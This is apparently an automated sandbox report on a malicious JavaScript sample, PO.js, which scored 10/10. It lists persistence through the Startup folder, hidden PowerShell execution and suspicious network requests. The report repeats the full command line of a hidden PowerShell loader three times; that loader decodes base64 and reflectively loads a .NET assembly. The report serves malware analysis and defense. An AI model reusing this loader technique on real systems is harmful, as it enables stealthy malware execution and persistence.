Overview

overview

10

Static

static

1

PO.js

windows10-2004-x64

10

PO.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/09/2026, 18:06

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General

  • Target
    PO.js
  • Size 38.7MB
  • Sample260909-wp4ckadc49
  • SHA256 afc97f23f9958ee4d35eec1b3716768a9a5d046725b77530b53f8713ec31509e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executionpersistenceprivilege_escalation

Malware Config

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PO.js
    1⤵
    • Creates a file in the Startup directory
    PID:1908
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3812
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4756
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4684

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 bcf2706294c905f61740227a65c8ad185ff08818eadae1529d265373b60e024c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 546197686ddaa1894735dd8293497e42a3240d67d12b1d72ca4ae5d59e717687
        • MD5 SHA1 SHA512
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 1176c98eba99727506f989657c6096194d00965cb1e4c1713b44c932448df5f8
        • MD5 SHA1 SHA512
        Submit Download

        __PSScriptPolicyTest_snc52bdz.uft.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_snc52bdz.uft.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/3812-30-0x0000029456060000-0x0000029456070000-memory.dmp
        Download

        memory/3812-12-0x000002943B8D0000-0x000002943B8DA000-memory.dmp
        Download

        memory/3812-29-0x0000029456060000-0x0000029456070000-memory.dmp
        Download

        memory/3812-1-0x0000029456060000-0x0000029456070000-memory.dmp
        Download

        memory/3812-11-0x000002943B960000-0x000002943BA32000-memory.dmp
        Download

        memory/3812-10-0x000002943DBA0000-0x000002943DBC2000-memory.dmp
        Download

        memory/3812-2-0x0000029456060000-0x0000029456070000-memory.dmp
        Download

        memory/4756-13-0x000001E61B5F0000-0x000001E61B600000-memory.dmp
        Download

        memory/4756-14-0x000001E61B5F0000-0x000001E61B600000-memory.dmp
        Download

        memory/4756-33-0x000001E61B5F0000-0x000001E61B600000-memory.dmp
        Download

        memory/4756-34-0x000001E61B5F0000-0x000001E61B600000-memory.dmp
        Download